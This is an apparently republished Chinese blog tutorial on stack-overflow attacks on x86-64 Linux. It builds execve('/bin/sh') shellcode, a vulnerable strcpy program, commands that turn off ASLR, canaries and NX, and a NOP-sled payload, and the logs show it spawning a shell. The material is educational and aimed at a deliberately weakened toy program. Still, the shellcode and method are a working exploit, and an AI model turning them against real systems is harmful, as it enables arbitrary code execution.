欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

栈溢出攻击和shellcode

程序员文章站 2022-03-24 09:15:55
...

README

本文默认读者熟悉C语言编程和x86汇编语法,熟悉函数调用过程和调用规约,简单了解linux系统,包括内核内存管理机制,进程内存布局和系统调用,对栈溢出攻击有基本认知。
文章会做一个栈溢出攻击的DEMO,来展示一个典型的shellcode是如何打造,如何工作的。
文章将抛开宏观层面的解释,尽量细致地阐述shellcode的构建过程和异常问题分析等诸多细节,帮助读者把栈溢出攻击和shellcode理解的更清晰。

其实,栈溢出攻击早已经被丢进了历史的垃圾桶。
人们针对栈溢出攻击有3个防范手段:
1.金丝雀(canary)
2.地址随机化(ASLR)
3.栈不可执行(NX)
为了实现这个DEMO,需要关闭这3个防范手段。

开始正题之前,先简单温习几个概念:调用规约栈帧栈溢出攻击
先看一下x86-64调用规约
栈溢出攻击和shellcode
再看一下栈帧的样子:
栈溢出攻击和shellcode

现代CPU通过栈实现函数调用,每个函数都对应有一个栈帧。
rbp寄存器总是指向栈底,rsp寄存器总是指向栈顶

x86-64的栈是满减栈,入栈时,栈指针rsp总是向下(向低地址方向)移动,且总是指向一个有效元素。

rsp和rbp之间存放着当前函数的局部变量,rbp向上(向高地址方向)分别存放着调用者函数的rbp(通常叫做old-rbp),返回地址(return-addr)以及调用者传递给子函数的参数。

x86的函数调用由call指令实现,call指令做2件事:

1.当前rip寄存器的值压入堆栈,这个值通常叫做返回地址
2.向rip寄存器写入子函数的入口地址,该地址依赖于call指令的操作数。

跳转到子函数后,子函数会创建自己的栈帧,做2件事:(不考虑FPO)

  1. push %rbp
  2. mov %rsp, %rbp

这2条指令通常叫做函数序言。
接下来会为局部变量分配栈空间,执行子函数体。
子函数返回前,会做反向动作:

5.释放局部变量空间
6.通过leave指令恢复调用者函数栈帧。(leave指令执行函数序言的反操作)
7.最后通过ret指令返回到调用者函数,ret指令做1件事:把当前栈顶元素写入rip寄存器

ret指令是栈溢出攻击的核心原理,因为该指令把栈上的数据写入rip,倘若能修改这个数据,让rip指向我们的攻击代码,便实现了攻击。

开始正题:

I. 构造shellcode

狭义地讲,shellcode就是一段可以运行起一个shell的代码。
广义地讲,shellcode就是一段被精心构造的攻击代码,用来达成攻击者的目的。
下面就开始手写一段shellcode第1版 (啥?难不成还有第2版?确实有)

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
	
str:
	call entry_point
	.ascii "/bin/sh"

简单解释一下这段代码:

第1行声明从这里开始一个段,名字叫.text
第2行声明_start是全局符号
第3行声明符号_start
第4行跳转到符号str处执行
第5行声明局部符号entry_point
第6行取出栈顶元素写入rcx寄存器
第7行空行
第8行rdx寄存器清0 (x86-64调用规约,第3个参数通过rdx传递)
第9行rsi寄存器清0 (第2个参数通过rsi传递)
第10行rcx寄存器的值写入rdi寄存器 (第1个参数通过rdi传递)
第11行向rax寄存器写入十进制数字59 (系统调用号通过rax传递)
第12行发起系统调用请求,陷入内核
第13行空行
第14行声明局部符号str
第15行跳转到符号entry_point处执行
第16行声明一段使用ASCII字符的文本字符串

前2行的.text和_start这2个符号不能乱写,ld内部集成的链接脚本默认引用这些符号,随意修改会导致链接出问题。
第7和第13行这2个空行是我故意留下来的分隔符,用来进一步解释这段shellcode:
2个空行中间的代码,是用来给59号系统调用execve传参并发起系统调用请求的,这是shellcode的核心代码

execve的定义:
int execve(const char *filename, char *const argv[], char *const envp[]);

空行上面和空行下面的2段代码,是shellcode的基本框架,其作用是实现动态获取字符串/bin/sh的地址。
如何做到的?回顾前面温习过的关于call指令的知识,因为字符串/bin/sh被放在了call指令的后面,执行call指令时,该字符串的地址会被压栈,跳到entry_point后,通过pop指令,即可取到字符串/bin/sh的地址,免去了地址硬编码带来的麻烦。

代码保存成shellcode.asm, 汇编并链接该程序

as -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o

验证shellcode能否正常工作,运行一下shellcode进程,果然打开了一个shell,运行几条命令,输出正常。

aaa@qq.com:/root/shellcode# ./shellcode 
# pwd
/root/shellcode
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
aaa@qq.com:/root/shellcode#

接下来需要把shellcode进程的代码段dump出来,使用objdump工具查看代码段信息

aaa@qq.com:/root/shellcode# objdump -h shellcode
shellcode:     file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         0000001d  0000000000400078  0000000000400078  00000078  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE

得到信息:偏移0x78 = 120 字节,长度为 0x1d = 29字节。
用dd命令导出这段数据,随便起个名字叫shitcode:

aaa@qq.com:/root/shellcode# dd if=shellcode of=shitcode bs=1 count=29 skip=120
29+0 records in
29+0 records out
29 bytes copied, 0.00028993 s, 100 kB/s

再使用hexdump命令查看一下shitcode

aaa@qq.com:/root/shellcode# hexdump -Cv shitcode 
00000000  eb 0f 59 31 d2 48 31 f6  48 89 cf 48 83 c0 3b 0f  |..Y1.H1.H..H..;.|
00000010  05 e8 ec ff ff ff 2f 62  69 6e 2f 73 68           |....../bin/sh|
0000001d

这29字节数据,就是shellcode的核心,运行这段代码,他就会请求kernel为我们启动一个shell

注意看hexdump的输出:这段shellcode中是不包含0字符的,这个条件是必须要满足的,因为几乎所有的输入函数,都是以0字符作为结束标志。shellcode中包含0字符会导致输入函数提前返回,注入失败。

如果你写的shellcode编译后发现有0字符,需要想办法替换成不含0字符的同义指令。
比如 mov $0, %rax 可以改写成 xor %rax, %rax

II. 寻找溢出点,计算返回地址

victim.c

#include <stdio.h>
#include <string.h>
#define BUFSIZE 64
int main(int argc, char *argv[])
{
	char buf[BUFSIZE];
	printf("Buf: %p\n", &buf);
	strcpy(buf, argv[1]);
	return 0;
}

这段代码使用了strcpy函数,把外界传入的参数写入栈上的缓冲区。
strcpy函数的行为很简单:一个字符一个字符地读取源字符串,写入到目的缓冲区,直到有一天在源字符串中读到一个0字符,才停止。
这里就是一个典型的溢出点:
只需让strcpy函数读入shellcode覆盖掉返回地址,让函数返回到shellcode入口,即可实现攻击。

栈溢出攻击的核心问题就是:如何知道保存在函数栈帧中的返回地址(return-addr)在内存中的位置?
若想知道返回地址的位置,就相当于要知道局部数组buf的地址。
buf的地址是固定的吗?很久以前是,现在不是了,这就是前面提到的保护措施2:地址随机化。
这个保护措施是linux内核默认开启的,每次应用程序在装载的过程中,内核都会把堆,栈,映射区等起始地址随机化。

关闭地址随机化需要root执行这条命令:
echo 0 > /proc/sys/kernel/randomize_va_space
关闭地址随机化后,每次运行程序victim,buf的地址是不变的。

接下来还需要关闭保护措施1,3。

在编译时指定2个额外的参数:
gcc -o victim victim.c -fno-stack-protector -z execstack
其中
-fno-stack-protector 关闭1,金丝雀(金丝雀是编译器放在栈底的一个随机数,编译器会插入代码,再函数返回时判断随机数是否被篡改,一旦检测到被篡改就会终止进程)
-z execstack 关闭2,栈不可执行(shellcode是写入到栈上的,必须让栈有可执行权限,否则会引发CPU异常,同样会终止程序)

这样的可执行程序,才能给我们机会做栈溢出攻击。

下一步,计算返回地址
通过buf的地址,再结合反汇编,即可推测出return-addr的位置
看一下程序的main函数反汇编:

0000000000400566 <main>:
  400566:	55                   	push   %rbp
  400567:	48 89 e5             	mov    %rsp,%rbp
  40056a:	48 83 ec 50          	sub    $0x50,%rsp
  40056e:	89 7d bc             	mov    %edi,-0x44(%rbp)
  400571:	48 89 75 b0          	mov    %rsi,-0x50(%rbp)
  400575:	48 8d 45 c0          	lea    -0x40(%rbp),%rax
  400579:	48 89 c6             	mov    %rax,%rsi
  40057c:	bf 34 06 40 00       	mov    $0x400634,%edi
  400581:	b8 00 00 00 00       	mov    $0x0,%eax
  400586:	e8 b5 fe ff ff       	callq  400440 <aaa@qq.com>
  40058b:	48 8b 45 b0          	mov    -0x50(%rbp),%rax
  40058f:	48 83 c0 08          	add    $0x8,%rax
  400593:	48 8b 10             	mov    (%rax),%rdx
  400596:	48 8d 45 c0          	lea    -0x40(%rbp),%rax
  40059a:	48 89 d6             	mov    %rdx,%rsi
  40059d:	48 89 c7             	mov    %rax,%rdi
  4005a0:	e8 8b fe ff ff       	callq  400430 <aaa@qq.com>
  4005a5:	b8 00 00 00 00       	mov    $0x0,%eax
  4005aa:	c9                   	leaveq 
  4005ab:	c3                   	retq   
  4005ac:	0f 1f 40 00          	nopl   0x0(%rax)

buf的地址从哪里开始呢,是从rsp指向的位置开始吗?不一定,不同版本的编译器可能生成不同的代码
注意:源代码中申请了64字节的栈空间,但编译器分配了0x50=80字节(指令地址 40056a)。
先看指令地址 40059d: 根据调用规约,strcpy函数的第一个参数由rdi传递,rdi的值来自rax
再看指令地址 400596: rax的值是rbp-0x40, 即buf的地址并不是从rsp开始,而是从rsp向上16字节开始。
这是一个重要的细节,他将直接影响后面对return-addr位置的计算。
看图更清晰:
栈溢出攻击和shellcode
图中很容易看出,return-addr的位置在buf+64+8处,只需要把buf+72后面的8个字节填写成shellcode的入口地址就OK了。
return-addr里面具体要填写多少呢?因为没有了地址随机化,每次buf的地址是固定的,给buf传递80个字节,看看他的地址是多少。

aaa@qq.com:/root/shellcode# ./victim 11111111111111111111111111111111111111111111111111111111111111111111111111111111
Buf: 0x7fffffffe410
Segmentation fault (core dumped)

OK,至此,拿到了buf的运行时的地址:0x7fffffffe410,这个地址就是要硬编码到shellcode中的返回地址。

这里有个小细节可能会令你很诧异:传递参数的长度不同,buf的地址居然不同,怎么回事,说好了没有地址随机化的?!
其实地址随机化确实已经关闭了,但因为我们是通过main函数的argv传参,参数本身也会占用栈空间,导致main函数局部变量的地址变化,参数长度越长,buf的地址会越小。
翻到前面看一下栈帧的图片,命令行参数和环境变量,是位于main函数栈帧上面的。

总结一下,我们需要构造这样一段数据:总共80个字节,前72个是shellcode,最后8个字节填写返回地址(return-addr)0x7fffffffe410.
但是,仍然有一个小问题,0x7fffffffe410这个返回地址包含0字符,会使输入函数strcpy提前返回,shellcode无法完全注入。
所以这里要把返回地址填写成大于0x7fffffffe410的数字,比如填写成0x7fffffffe411。虽然偏了1个字节,可恰好shellcode不足72个字节(只有29字节),可以在shellcode前面填充上nop指令,只要返回地址落到nop指令上,依然可以一步一步走进shellcode的入口。

III. 构建完备的shellcode

根据前面的分析,现在我们需要构建一个完备的shellcode了,他最终的样子是这样的:
栈溢出攻击和shellcode

如何构建这样一段数据呢?我特地写了一个小工具:

int main(int argc, char *argv[])
{
	void *p;
	char buf[100];
	switch(argv[1][0]){
	case '1':
		// padding nop
		memset(buf, '\x90', 100);
		/**
		 * how many 'nop' you want to pad
		 * */
		buf[43] = 0;
		printf("%s", buf);
		break;
	case '2':
		//padding return-addr
		/**
		 * Note that return-addr MUST NOT contains 0 char.
		 * */
		p = (void *)0x7fffffffe411;
		memset(buf, 0, 16);
		memcpy(buf, &p, 8);
		printf("%s", buf);
		break;
	}
	return 0;
}

函数实现2个功能:

  1. 填充43个nop (nop指令的机器码是0x90)
  1. 填充返回地址0x7fffffffe417

编译这个程序,并构建完备的shellcode:

aaa@qq.com:/root/shellcode# gcc -o pad padding.c
aaa@qq.com:/root/shellcode# ./pad 1 > shellcode
aaa@qq.com:/root/shellcode# cat shitcode >> shellcode
aaa@qq.com:/root/shellcode# ./pad 2 >> shellcode
aaa@qq.com:/root/shellcode# hexdump -Cv shellcode
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000020  90 90 90 90 90 90 90 90  90 90 90 eb 0f 59 31 d2  |.............Y1.|
00000030  48 31 f6 48 89 cf 48 83  c0 3b 0f 05 e8 ec ff ff  |H1.H..H..;......|
00000040  ff 2f 62 69 6e 2f 73 68  11 e4 ff ff ff 7f        |./bin/sh......|
0000004e
aaa@qq.com:/root/shellcode#

返回地址0x7fffffffe411是用%s写入的,高位的0字符没有写入文件,为确保万无一失,在后面再补2个0字符:

aaa@qq.com:/root/shellcode# dd if=/dev/zero of=zero bs=1 count=2
2+0 records in
2+0 records out
2 bytes copied, 0.000310199 s, 6.4 kB/s
aaa@qq.com:/root/shellcode# cat zero >> shellcode
aaa@qq.com:/root/shellcode# hexdump -Cv shellcode
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
00000020  90 90 90 90 90 90 90 90  90 90 90 eb 0f 59 31 d2  |.............Y1.|
00000030  48 31 f6 48 89 cf 48 83  c0 3b 0f 05 e8 ec ff ff  |H1.H..H..;......|
00000040  ff 2f 62 69 6e 2f 73 68  11 e4 ff ff ff 7f 00 00  |./bin/sh........|
00000050
aaa@qq.com:/root/shellcode# 

OK,整整齐齐80个字节,内容和前面预想的一模一样,完备的shellcode诞生了。赶快试用一下吧!

aaa@qq.com:/root/shellcode# ./victim `cat shellcode`

运行起来,并没有启动一个shell,而是停在那里不返回,同时系统会变得非常非常卡顿。
很明显,翻车了。shellcode不但没有工作,还引发了一场灾难。

IV. 分析意外,构造完备的shellcode第2版

这次意外源于另一个细节:
栈溢出攻击和shellcode
传递给execve系统调用的第一个参数,是可执行程序/bin/sh的路径,这个路径一定要以0字符结尾,否则系统调用会因路径错误而执行失败。
再看shellcode第1版源代码:

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
	
str:
	call entry_point
	.ascii "/bin/sh"

一旦execve执行失败,syscall指令从内核返回,会继续执行call entry_point跳到上面,沿着pop %rcx指令重新执行系统调用execve。
如此反复地,疯狂地,风驰电掣地穿越用户态和内核态,导致CPU飙升,系统卡顿。

如何解决呢?很简单,在shellcode中添加几行代码,执行syscall指令之前,先给/bin/sh字符串结束位置写0。
shellcode第2版代码如下:

.section .text
.global _start
_start:
	jmp str
entry_point: 
	pop %rcx

	mov %rcx, %rbx
	add $7, %rbx
	xor %rax, %rax
	mov %rax, (%rbx)
	
	xor %edx, %edx
	xor %rsi, %rsi
	mov %rcx, %rdi
	add $59, %rax
	syscall
str:
	call entry_point
	.ascii "/bin/sh"

添加了4行代码,通过rbx计算出字符串/bin/sh的结束地址,然后rax清0,把rax的值写入到rbx指向的字符串结束地址上。

aaa@qq.com:/root/shellcode# as -o shellcode.o shellcode2.asm 
aaa@qq.com:/root/shellcode# ld -o shellcode2 shellcode.o
aaa@qq.com:/root/shellcode# objdump -h shellcode2 
shellcode2:     file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         0000002a  0000000000400078  0000000000400078  00000078  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
aaa@qq.com:/root/shellcode# dd if=shellcode2 of=shitcode2 bs=1 count=42 skip=120
42+0 records in
42+0 records out
42 bytes copied, 0.000172601 s, 243 kB/s
aaa@qq.com:/root/shellcode#

汇编,链接,查询,提取,一气呵成。
躺在硬盘上的shitcode2文件,就是第2版shellcode的核心代码,大小是42个字节,比之前的29个字节稍大了点。还好,并没有超过72字节,依然可用。
看一眼他的样子吧:

aaa@qq.com:/root/shellcode# hexdump -Cv shitcode2 
00000000  eb 1c 59 48 89 cb 48 83  c3 07 48 31 c0 48 89 03  |..YH..H...H1.H..|
00000010  31 d2 48 31 f6 48 89 cf  48 83 c0 3b 0f 05 e8 df  |1.H1.H..H..;....|
00000020  ff ff ff 2f 62 69 6e 2f  73 68                    |.../bin/sh|
0000002a
aaa@qq.com:/root/shellcode#

很完美的shellcode,不包含字符0,依然可以被strcpy全部读入。

如果此时你手贱运行了一下刚刚生成的shellcode2可执行程序,会发现他并没有像第1版一样启动一个shell,而是会报出段错误:
熟悉linux内存管理的同学应该很清楚为什么:
没错,后来添加的指令 mov %rax, (%rbx) 在尝试写代码段,然而代码段是不可写的,该指令触发MMU异常,内核会发送SIGSEGV信号杀死进程。
别怕,要知道这段代码最终会被读入栈空间的,在栈上事情就不一样了,栈是可写的,shellcode会悄悄地地修改字符串/bin/sh结束地址,保证execve系统调用执行成功

废话少叙,开始构建完备的shellcode第2版:
返回地址不需要计算,依然是0x7fffffffe411
nop指令填充数需要重新计算:72-42=30,这次只需要填充30个nop。
修改一下之前的padding小工具,设置成写入30个nop。
开始构建:

aaa@qq.com:/root/shellcode# gcc -o pad padding.c
aaa@qq.com:/root/shellcode# ./pad 1 > shellcode2
aaa@qq.com:/root/shellcode# cat shitcode2 >> shellcode2
aaa@qq.com:/root/shellcode# ./pad 2 >> shellcode2
aaa@qq.com:/root/shellcode# cat zero >> shellcode2

试用一下

aaa@qq.com:/root/shellcode# ./victim `cat shellcode2`
Buf: 0x7fffffffe410
# pwd
/root/shellcode
#

成功!

大总结

我写完了,谢谢观看